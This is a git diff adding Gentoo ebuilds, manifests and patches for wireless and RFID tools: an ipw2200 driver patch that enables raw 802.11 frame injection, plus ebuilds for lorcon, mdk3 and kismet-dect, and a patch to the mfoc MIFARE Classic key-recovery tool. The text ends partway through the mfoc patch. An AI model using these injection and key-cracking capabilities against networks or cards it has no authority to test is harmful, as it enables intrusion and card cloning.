+ 14 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.3.ebuild:
+ Initial ebuild, based on the ebuild for the 2100 driver, for the first
+ version of this driver that actually supports transmitting and
+ receiving data. WEP, G-band and Ad-hoc mode are currently not
+ supported by the driver. Resolves Bug #60288.
+
diff --git a/net-wireless/ipw2200/Manifest b/net-wireless/ipw2200/Manifest
new file mode 100644
index 00000000..85198a7f
--- /dev/null
+++ b/net-wireless/ipw2200/Manifest
@@ -0,0 +1,5 @@
+AUX ipw2200-1.2.0-inject.patch 2896 RMD160 dcdbe9440eaa7c5f8df13f1b1b50cd6fa8e2f823 SHA1 541e533ab8cee5127c812a376c6ec337c320f041 SHA256 c7df435dec979d6febb2e52faafe2ba9e7c3338f982f3d63109209fed58d8cc2
+AUX ipw2200-1.2.0-modverdir.patch 528 RMD160 1b704ed1ae7773ff403ea01184d39918af3a7ed0 SHA1 ae4aec08a23189a8906d37f832ef404ed6210838 SHA256 9ae31bf0d63b9c31cf74be1eeb0178da0bdedc90ab9a743397e917b7a32e8e7c
+DIST ipw2200-1.2.0.tgz 139374 RMD160 5b2e6836a552b82b0320f84b088addec21863b21 SHA1 d2b327357afc94a94701d260936b037abf4212e8 SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074
+EBUILD ipw2200-1.2.0.ebuild 2408 RMD160 93965ae3d4e390cb39fb56dad2f621bd584c56bb SHA1 4d85d1c2ef98817e5d30c58d5a09abc62a08a39e SHA256 56c3aec2b275c3d638fbb937e307fc11160e1da5381d96ad0d2b96f1a97024f3
+MISC ChangeLog 13729 RMD160 f6e6431eead73866f1e7bf8eb7c8d186d7708a3c SHA1 459f158a974254132003227ec5de51bbfeda7a09 SHA256 180654c43d98a27a15b79bcdbaca60ccdf15b3db708a200f1f6ed1700277b94c
diff --git a/net-wireless/ipw2200/files/digest-ipw2200-1.2.0 b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0
new file mode 100644
index 00000000..7e92a718
--- /dev/null
+++ b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0
@@ -0,0 +1,3 @@
+MD5 cfd26b4526186d61a4feeaee217493b9 ipw2200-1.2.0.tgz 139374
+RMD160 5b2e6836a552b82b0320f84b088addec21863b21 ipw2200-1.2.0.tgz 139374
+SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074 ipw2200-1.2.0.tgz 139374
diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
new file mode 100644
index 00000000..2ce56d84
--- /dev/null
+++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
@@ -0,0 +1,98 @@
+diff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c
+--- ipw2200-1.1.4/ipw2200.c 2006-08-21 04:38:32.000000000 +0200
++++ ipw2200-1.1.4-inject/ipw2200.c 2006-08-23 14:20:31.000000000 +0200
+@@ -1945,6 +1945,66 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ show_net_stats, store_net_stats);
+
++static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri);
++
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12)
++ struct device_attribute *attr,
++#endif
++ const char *buf, size_t count)
++{
++ struct ipw_priv *priv = (struct ipw_priv *)d->driver_data;
++ struct ieee80211_device *ieee = priv->ieee;
++ struct ieee80211_txb * txb;
++ struct sk_buff *skb_frag;
++ unsigned char * newbuf;
++ unsigned long flags;
++
++ // should test (ieee->is_queue_full)
++
++ // Fw only accepts data, so avoid accidental fw errors.
++ if ( (buf[0]&0x0c) != '\x08') {
++ //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++ return count;
++ }
++
++ if (count>1500) {
++ count=1500;
++ printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++ }
++
++ spin_lock_irqsave(&priv->lock, flags);
++
++ // Create a txb with one skb
++ txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC);
++ if (!txb)
++ goto nosepuede;
++ txb->nr_frags=1;
++ txb->frag_size = ieee->tx_headroom;
++ txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++ if (!txb->fragments[0]) {
++ kfree(txb);
++ goto nosepuede;
++ }
++ skb_reserve(txb->fragments[0], ieee->tx_headroom);
++ txb->encrypted=0;
++ txb->payload_size=count;
++ skb_frag = txb->fragments[0];
++ newbuf=skb_put(skb_frag, count);
++
++ // copy data into txb->skb and send it
++ memcpy(newbuf, buf, count);
++
++ ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++ spin_unlock_irqrestore(&priv->lock, flags);
++ return count;
++}
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static void notify_wx_assoc_event(struct ipw_priv *priv)
+ {
+ union iwreq_data wrqu;
+@@ -11478,6 +11538,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
+ &dev_attr_rtap_iface.attr,
+ &dev_attr_rtap_filter.attr,
++ &dev_attr_inject.attr,
+ #endif
+ NULL
+ };
+diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile
+--- ipw2200-1.1.4/Makefile 2006-08-21 04:38:29.000000000 +0200
++++ ipw2200-1.1.4-inject/Makefile 2006-08-23 14:22:06.000000000 +0200
+@@ -30,14 +30,14 @@
+ # simply uncomment:
+ #
+ # NOTE: To use RADIOTAP you must also enable MONITOR above.
+-#CONFIG_IPW2200_RADIOTAP=y
++CONFIG_IPW2200_RADIOTAP=y
+
+ # The above monitor mode provides standard monitor mode. The following
+ # will create a new interface (named rtap%d) which will be sent all
+ # 802.11 frames received on the interface
+ #
+ # NOTE: To use PROMISCUOUS you must also enable MONITOR above.
+-#CONFIG_IPW2200_PROMISCUOUS=y
++CONFIG_IPW2200_PROMISCUOUS=y
+
+ endif
+
diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
new file mode 100644
index 00000000..12d70206
--- /dev/null
+++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
@@ -0,0 +1,20 @@
+Index: ipw2200-1.2.0/Makefile
+===================================================================
+--- ipw2200-1.2.0.orig/Makefile
++++ ipw2200-1.2.0/Makefile
+@@ -153,14 +153,8 @@ clean:
+ distclean: clean
+ rm -f tags TAGS
+
+-TMP=$(PWD)/tmp
+-MODVERDIR=$(TMP)/.tmp_versions
+-
+ modules:
+- mkdir -p $(MODVERDIR)
+- -cp $(IEEE80211_MODVERDIR)/*.mod $(MODVERDIR)
+- -cp $(IEEE80211_MODVERDIR)/../Modules.symvers $(PWD)
+- $(MAKE) -C $(KSRC) M=$(PWD) MODVERDIR=$(MODVERDIR) modules
++ $(MAKE) -C $(KSRC) M=$(PWD) modules
+
+
+ patch_kernel:
diff --git a/net-wireless/ipw2200/ipw2200-1.2.0.ebuild b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild
new file mode 100644
index 00000000..697fdf34
--- /dev/null
+++ b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild
@@ -0,0 +1,87 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils linux-mod
+
+# The following works with both pre-releases and releases
+MY_P=${P/_/-}
+S=${WORKDIR}/${MY_P}
+
+IEEE80211_VERSION="1.2.15"
+FW_VERSION="3.0"
+
+DESCRIPTION="Driver for the Intel 2200BG/2915ABG miniPCI/PCI adapters patched with modified inject patches"
+HOMEPAGE="http://ipw2200.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+IUSE="debug inject"
+DEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION}
+ sys-apps/sed"
+RDEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION}
+ >=net-wireless/ipw2200-firmware-${FW_VERSION}
+ net-wireless/wireless-tools"
+
+BUILD_TARGETS="all"
+MODULE_NAMES="ipw2200(net/wireless:)"
+MODULESD_IPW2200_DOCS="README.ipw2200"
+
+CONFIG_CHECK="NET_RADIO FW_LOADER !IPW2200"
+ERROR_NET_RADIO="${P} requires support for Wireless LAN drivers (non-hamradio) & Wireless Extensions (CONFIG_NET_RADIO)."
+ERROR_FW_LOADER="${P} requires Hotplug firmware loading support (CONFIG_FW_LOADER)."
+ERROR_IPW2200="${P} requires the in-kernel version of the IPW2200 driver to be disabled (CONFIG_IPW2200)"
+
+pkg_setup() {
+ linux-mod_pkg_setup
+
+ if kernel_is 2 4; then
+ die "${P} does not support building against kernel 2.4.x"
+ fi
+
+ if [[ ! -f ${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} ]]; then
+ eerror
+ eerror "Looks like you forgot to remerge net-wireless/ieee80211 after"
+ eerror "upgrading your kernel."
+ eerror
+ eerror "Hint: use sys-kernel/module-rebuild for keeping track of which"
+ eerror "modules needs to be remerged after a kernel upgrade."
+ eerror
+ die "${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} not found"
+ fi
+
+ BUILD_PARAMS="KSRC=${KV_DIR} KSRC_OUTPUT=${KV_OUT_DIR} IEEE80211_INC=/usr/include"
+}
+
+src_unpack() {
+ local debug="n" radiotap="n"
+
+ unpack ${A}
+
+ cd "${S}"
+ epatch "${FILESDIR}/${P}-modverdir.patch"
+ if use inject; then
+ epatch "${FILESDIR}/${P}-inject.patch"
+ fi
+
+ use debug && debug="y"
+ sed -i -e "s:^\(CONFIG_IPW2200_DEBUG\)=.*:\1=${debug}:" "${S}"/Makefile
+}
+
+src_compile() {
+ linux-mod_src_compile
+
+ einfo
+ einfo "You may safely ignore any warnings from above compilation about"
+ einfo "undefined references to the ieee80211 subsystem."
+ einfo
+}
+
+src_install() {
+ linux-mod_src_install
+
+ dodoc CHANGES ISSUES
+}
diff --git a/net-wireless/kismet-dect/Manifest b/net-wireless/kismet-dect/Manifest
new file mode 100644
index 00000000..097c73ee
--- /dev/null
+++ b/net-wireless/kismet-dect/Manifest
@@ -0,0 +1 @@
+EBUILD kismet-dect-9999.ebuild 1023 RMD160 08284b20b2229acd0d4670810b480b2ef76f3fb0 SHA1 a3054263647c97de3e74ed4f4f60cef6c6cc9e4b SHA256 b17d575ccd3a6dcaac2953d0695f0c06035ce0894ef3c05d6f0a32840cd5e833
diff --git a/net-wireless/kismet-dect/kismet-dect-9999.ebuild b/net-wireless/kismet-dect/kismet-dect-9999.ebuild
new file mode 100644
index 00000000..865ba18d
--- /dev/null
+++ b/net-wireless/kismet-dect/kismet-dect-9999.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit subversion
+
+DESCRIPTION="DECT plugin for kismet"
+HOMEPAGE="https://dedected.org/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=">=net-wireless/kismet-2009.11.1-r1
+ net-wireless/dedected"
+
+ESVN_REPO_URI="https://dedected.org/svn/trunk/kismet-dect"
+
+src_prepare() {
+ # build with custom CFLAGS
+ sed -i -e "s/-g/${CFLAGS}/g" server_module/Makefile
+ sed -i -e "s/-fPIC/${CFLAGS} -fPIC/g" client_module/Makefile
+}
+
+src_compile() {
+ make KIS_SRC_DIR="/usr/include/kismet/" -C client_module || die "failed to compile client module"
+ make KIS_SRC_DIR="/usr/include/kismet/" -C server_module || die "failed to compile server module"
+}
+
+src_install() {
+ make KIS_DEST_DIR="${D}/usr/" -C client_module install || die "failed to install client module"
+ make KIS_DEST_DIR="${D}/usr/" -C server_module install || die "failed to install server module"
+}
diff --git a/net-wireless/libfreefare/Manifest b/net-wireless/libfreefare/Manifest
new file mode 100644
index 00000000..1f4151c1
--- /dev/null
+++ b/net-wireless/libfreefare/Manifest
@@ -0,0 +1,2 @@
+DIST libfreefare-0.3.2.tar.gz 442844 RMD160 1a46647d4edd87be7ca19e53a48bd74077b8c211 SHA1 72131695e60399bdd6bd15900aca3231315ca13b SHA256 aaa3017cba50fa857a12468a9d58b705db18527ad8ffc7f6a06590e147f614d6
+EBUILD libfreefare-0.3.2.ebuild 458 RMD160 5eee2fc0ddd8b383a31d0dc6027f640c5618395e SHA1 4559d9b695fdfd2d7852c2dbde7cce6f2d566bea SHA256 4f804b4c57a722ed2cd73f578858e2544adf99b711315ea7398482b7667c1936
diff --git a/net-wireless/libfreefare/libfreefare-0.3.2.ebuild b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild
new file mode 100644
index 00000000..e38f5db2
--- /dev/null
+++ b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="a library for high level manipulation of MIFARE tags"
+HOMEPAGE="https://code.google.com/p/nfc-tools/"
+SRC_URI="https://nfc-tools.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-lib/libnfc"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ DESTDIR="${D}" emake install || die
+}
diff --git a/net-wireless/lorcon-old/Manifest b/net-wireless/lorcon-old/Manifest
new file mode 100644
index 00000000..ed53f9c5
--- /dev/null
+++ b/net-wireless/lorcon-old/Manifest
@@ -0,0 +1 @@
+EBUILD lorcon-old-9999.ebuild 640 RMD160 5e77ecbe4a9b3e5dfbbc83e61d657385829cb3fc SHA1 04d6155143ad90ce059a7f292e1cbe5e0a7914f8 SHA256 21263b645c14b57b5b9550938e3d24e198ea1d9b309df361a11c6aba7e19ac30
diff --git a/net-wireless/lorcon-old/lorcon-old-9999.ebuild b/net-wireless/lorcon-old/lorcon-old-9999.ebuild
new file mode 100644
index 00000000..e78aea91
--- /dev/null
+++ b/net-wireless/lorcon-old/lorcon-old-9999.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs eutils subversion
+
+DESCRIPTION="A generic library for injecting 802.11 frames"
+HOMEPAGE="http://802.11ninja.net/lorcon"
+SRC_URI=""
+ESVN_REPO_URI="http://802.11ninja.net/svn/lorcon/branch/lorcon-old"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="$RDEPEND"
+RDEPEND="dev-libs/libnl
+ net-libs/libpcap"
+
+src_install() {
+ DESTDIR="${D}" emake install
+ # rename manpage to avoid conflict with lorcon
+ mv "${D}"/usr/share/man/man3/lorcon.3 "${D}"/usr/share/man/man3/lorcon-old.3
+}
diff --git a/net-wireless/lorcon/Manifest b/net-wireless/lorcon/Manifest
new file mode 100644
index 00000000..54df9fb1
--- /dev/null
+++ b/net-wireless/lorcon/Manifest
@@ -0,0 +1 @@
+EBUILD lorcon-9999.ebuild 2010 SHA256 1824bd6e24b3cce2be41fd74f7bcbe2f502d8867926686ceab135f0319a96772 SHA512 6d7cb9a0eb91d5e7c09ba45a536b5131c37c2d635d8c7be470a755166ff8215672aaf4000bd3967855679dcb2e1e35999405f2fc452c4db29e177d140dce4d06 WHIRLPOOL 28f62b1b61725282168334339109b0ad330f8c8e6f6571b691eab9eb88be4b960e59e00a9cb8e2a3b194da9247fd881ea01817f3a4689c0a3fbf6adf546234d4
diff --git a/net-wireless/lorcon/lorcon-9999.ebuild b/net-wireless/lorcon/lorcon-9999.ebuild
new file mode 100644
index 00000000..49a5eb9f
--- /dev/null
+++ b/net-wireless/lorcon/lorcon-9999.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+PYTHON_DEPEND="python? 2"
+SUPPORT_PYTHON_ABIS="1"
+RESTRICT_PYTHON_ABIS="3.*"
+
+USE_RUBY="ruby18 ruby19"
+RUBY_OPTIONAL=yes
+
+inherit git-2 distutils ruby-ng
+
+DESCRIPTION="A generic library for injecting 802.11 frames"
+HOMEPAGE="http://802.11ninja.net/lorcon"
+EGIT_REPO_URI="https://code.google.com/p/lorcon/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="python ruby"
+
+DEPEND="ruby? ( $(ruby_implementations_depend) )"
+RDEPEND="${DEPEND}
+ dev-libs/libnl"
+
+S="${WORKDIR}"/all
+
+pkg_setup() {
+ if use python; then
+ python_pkg_setup;
+ DISTUTILS_SETUP_FILES=("${S}/pylorcon2|setup.py")
+ fi
+ use ruby && ruby-ng_pkg_setup
+}
+
+src_unpack() {
+ git-2_src_unpack
+ use ruby && ruby-ng_src_unpack
+}
+
+src_prepare() {
+ use python && distutils_src_prepare
+ sed -i 's#<lorcon2/lorcon.h>#"../lorcon.h"#' pylorcon2/PyLorcon2.c
+ sed -i 's#find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h") and ##' ruby-lorcon/extconf.rb
+ sed -i "s#-I/usr/include/lorcon2#-I${WORKDIR}/all#" ruby-lorcon/extconf.rb
+ sed -i 's#<lorcon2/lorcon.h>#"../lorcon.h"#' ruby-lorcon/Lorcon2.h
+ use ruby && ruby-ng_src_prepare
+}
+
+src_configure() {
+ default_src_configure
+ use ruby && ruby-ng_src_configure
+}
+
+src_compile() {
+ default_src_compile
+ if use python; then
+ LDFLAGS+=" -L${S}/.libs/"
+ distutils_src_compile
+ fi
+ use ruby && ruby-ng_src_compile
+}
+
+src_install() {
+ emake DESTDIR="${ED}" install
+ use python && distutils_src_install
+ use ruby && ruby-ng_src_install
+}
+
+src_test() {
+ :
+}
+
+pkg_postinst() {
+ use python && distutils_pkg_postinst
+}
+pkg_postrm() {
+ use python && distutils_pkg_postrm
+}
+
+each_ruby_configure() {
+ ${RUBY} -C "ruby-lorcon" extconf.rb
+ sed -i "s#-L\.#-L. -L${WORKDIR}/all/.libs -lorcon2 #g" ruby-lorcon/Makefile
+}
+
+each_ruby_compile() {
+ emake -C ruby-lorcon
+}
+
+each_ruby_install() {
+ DESTDIR="${ED}" emake -C ruby-lorcon install
+}
diff --git a/net-wireless/mdk/Manifest b/net-wireless/mdk/Manifest
new file mode 100644
index 00000000..f8495f39
--- /dev/null
+++ b/net-wireless/mdk/Manifest
@@ -0,0 +1,3 @@
+AUX fix_wids_mdk3_v5.patch 520 RMD160 cd1e9020b06782fa0c98adf274c7b99ed3cbff5c SHA1 3564b5a6e73bff3e705a461890d61a87dfdbc002 SHA256 c0168ab3b50b18c973c954a831bfd6d8373c3f70570247a15d52da6914fe490d
+DIST mdk3-v6.tar.bz2 213279 RMD160 22857e15a86fee1a0419916fcd12d14aeb14ebb1 SHA1 2832d176c02d9c3eb3bcb3b35acfdc94793161dd SHA256 4dac4d0ad54c4dbbf8857f527c573af6495a91d2e503774274b39c3ca8ed11dd
+EBUILD mdk-3.6.ebuild 742 RMD160 5a76e89de581d5f9ad364d31b593644d54cf1b32 SHA1 2b3e1fe413cea2b5bfb5c0fc154a44864458b7ad SHA256 e6e900b2f1db64f024befc8411907a317e831448abb42fbd39b29b6a27eea91d
diff --git a/net-wireless/mdk/files/fix_wids_mdk3_v5.patch b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch
new file mode 100644
index 00000000..6013a59b
--- /dev/null
+++ b/net-wireless/mdk/files/fix_wids_mdk3_v5.patch
@@ -0,0 +1,21 @@
+diff -ur mdk3-v5-orig/mdk3.c mdk3-v5/mdk3.c
+--- mdk3-v5-orig/mdk3.c 2008-11-10 21:45:02.000000000 +0100
++++ mdk3-v5/mdk3.c 2009-01-10 01:47:03.546875000 +0100
+@@ -1092,10 +1092,13 @@
+ {
+ struct clistwidsclient *first = c;
+
+- do {
+- if (!(memcmp(c->mac, mac, mac_len))) return c;
+- c = c->next;
+- } while (c != first);
++ if (c != NULL)
++ {
++ do {
++ if (c->mac != NULL && !(memcmp(c->mac, mac, mac_len))) return c;
++ c = c->next;
++ } while (c != NULL && c != first);
++ }
+
+ return NULL;
+ }
diff --git a/net-wireless/mdk/mdk-3.6.ebuild b/net-wireless/mdk/mdk-3.6.ebuild
new file mode 100644
index 00000000..7b578cfe
--- /dev/null
+++ b/net-wireless/mdk/mdk-3.6.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils
+
+MY_P=${PN}${PV/./-v}
+
+DESCRIPTION="Bruteforce hidden SSID"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ epatch "${FILESDIR}"/fix_wids_mdk3_v5.patch
+ sed -ie "s|CFLAGS.*=.*|CFLAGS = $CFLAGS|" Makefile || die
+}
+
+src_compile() {
+ make -j1 || die "make failed"
+}
+
+src_install() {
+ dosbin mdk3 || die "dobin failed"
+ dodoc AUTHORS CHANGELOG TODO docs/* useful_files/* || die "dodoc failed"
+}
diff --git a/net-wireless/mfoc/Manifest b/net-wireless/mfoc/Manifest
new file mode 100644
index 00000000..8b38b00f
--- /dev/null
+++ b/net-wireless/mfoc/Manifest
@@ -0,0 +1,3 @@
+AUX mfoc-libnfc-1.5.1.patch 8908 RMD160 8d94b6c35fc786263afa6edff01adec42a7a094e SHA1 a85959cfe99fc5c82ec0f3ec2b4d091f444cb430 SHA256 dd6334ffa5939f11260d6bc7f5b4960162260348812ff4cc65478e51302be436
+DIST mfoc-0.10.2.tar.gz 112864 RMD160 a74ccdc22f4ead364872bac0beee0564c53f2be2 SHA1 cce1662300eeab303d375f746dd52e515e2f0e99 SHA256 fc38b990bf37b6416949d0a7c6481bdd8a67698cbb4dcae00c0576fd10845cb0
+EBUILD mfoc-0.10.2.ebuild 550 RMD160 8261f1420540deb08b1fa471bd785cda0d8d4dd8 SHA1 2a4d69343b95a759d5b683a43c48029088204e67 SHA256 81af43a5574b1c0cceba3d2b7dc8cf7af59ffb396c1f51d8723c12b56bf22fe9
diff --git a/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
new file mode 100644
index 00000000..c19a554a
--- /dev/null
+++ b/net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch
@@ -0,0 +1,217 @@
+diff -Nru mfoc-0.10.2/src//mfoc.c mfoc/src//mfoc.c
+--- mfoc-0.10.2/src//mfoc.c 2011-05-18 11:18:29.000000000 +0200
++++ mfoc/src//mfoc.c 2012-02-11 02:02:27.028185737 +0100
+@@ -70,11 +70,11 @@
+ bool skip = false;
+
+ // Next default key specified as option (-k)
+- byte_t * defKey = NULL;
++ byte_t * defKeys = NULL, *p;
++ size_t defKeys_len = 0;
+
+ // Array with default Mifare Classic keys
+ byte_t defaultKeys[][6] = {
+- {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot
+ {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
+ {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
+ {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
+@@ -128,16 +128,17 @@
+ // fprintf(stdout, "Tolerance number: %d\n", probes);
+ break;
+ case 'k':
+- // Add this key to the default keys list
+- if ((defKey = calloc(6, sizeof(byte_t))) == NULL) {
+- ERR ("Cannot allocate memory for defKey");
++ // Add this key to the default keys
++ p = realloc(defKeys, defKeys_len + 6);
++ if (!p) {
++ ERR ("Cannot allocate memory for defKeys");
+ exit (EXIT_FAILURE);
+- } else {
+- bzero(defKey, 6);
+- num_to_bytes(strtoll(optarg, NULL, 16), 6, defKey);
+- memcpy(defaultKeys[0], defKey, 6);
+ }
+- fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6));
++ defKeys = p;
++ memset(defKeys+defKeys_len, 0, 6);
++ num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len);
++ fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6));
++ defKeys_len = defKeys_len + 6;
+
+ break;
+ case 'O':
+@@ -252,9 +253,16 @@
+ memcpy(mp.mpa.abtUid, t.nt.nti.nai.abtUid, sizeof(mp.mpa.abtUid));
+ // Iterate over all keys (n = number of keys)
+ n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
+- for (key = 0; key < n; key++) {
+- if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key
+- memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
++ size_t defKey_bytes_todo = defKeys_len;
++ key = 0;
++ while (key < n) {
++ if (defKey_bytes_todo > 0) {
++ memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
++ defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
++ } else {
++ memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
++ key++;
++ }
+ fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
+ fprintf(stdout, "[");
+ i = 0; // Sector counter
+@@ -511,22 +519,24 @@
+ }
+
+ void usage(FILE * stream, int errno) {
+- fprintf(stream, "mfoc %s\n\n", PACKAGE_VERSION);
+- fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n");
+- fprintf(stream, "example: mfoc -O card_dump\n");
+- fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n");
+- fprintf(stream, "example: mfoc -P 50 -O card_dump\n");
+- fprintf(stream, "\n");
+- fprintf(stream, " h : print this help\n");
+-// fprintf(stream, " B : instead of 'A' dump 'B' keys\n");
+- fprintf(stream, " k : use a specified key instead of looking for defaults ones\n");
+-// fprintf(stream, " D : number of distance probes, default is 20\n");
+-// fprintf(stream, " S : number of sets with keystreams, default is 5\n");
+- fprintf(stream, " P : number of probes for a key recovery for one sector, default is 20\n");
+- fprintf(stream, " T : range for a possible distance tolerance, default is 20 (40 in both direction)\n");
+-// fprintf(stream, " s : specify the list of sectors to crack, for example -s 0,1,3,5\n");
+- fprintf(stream, " O : dump file where the revealed keys should be stored\n");
++ fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n");
++ fprintf(stream, "\n");
++ fprintf(stream, " h print this help and exit\n");
++// fprintf(stream, " B instead of 'A' dump 'B' keys\n");
++ fprintf(stream, " k try the specified key in addition to the default keys\n");
++// fprintf(stream, " D number of distance probes, default is 20\n");
++// fprintf(stream, " S number of sets with keystreams, default is 5\n");
++ fprintf(stream, " P number of probes per sector, instead of default of 20\n");
++ fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
++// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n");
++ fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n");
++ fprintf(stream, "\n");
++ fprintf(stream, "Example: mfoc -O mycard.mfd\n");
++ fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
++ fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
+ fprintf(stream, "\n");
++ fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
++ fprintf(stream, "For more information, run: 'man mfoc'.\n");
+ exit(errno);
+ }
+
+@@ -534,7 +544,7 @@
+ // Connect to the first NFC device
+ r->pdi = nfc_connect(NULL);
+ if (!r->pdi) {
+- ERR ("Unable to connect to NFC device\n");
++ printf ("No NFC device found.\n");
+ exit (EXIT_FAILURE);
+ }
+ }
+@@ -671,7 +681,7 @@
+ exit (EXIT_FAILURE);
+ }
+
+- if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
++ if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen, NULL)) {
+ fprintf(stdout, "Error while requesting plain tag-nonce\n");
+ exit(EXIT_FAILURE);
+ }
+diff -Nru mfoc-0.10.2/src//mifare.c mfoc/src//mifare.c
+--- mfoc-0.10.2/src//mifare.c 2011-04-04 12:38:30.000000000 +0200
++++ mfoc/src//mifare.c 2012-02-11 02:02:27.028185737 +0100
+@@ -100,7 +100,7 @@
+ return false;
+ }
+ // Fire the mifare command
+- if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx)) {
++ if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx, NULL)) {
+ if (pnd->iLastError == EINVRXFRAM) {
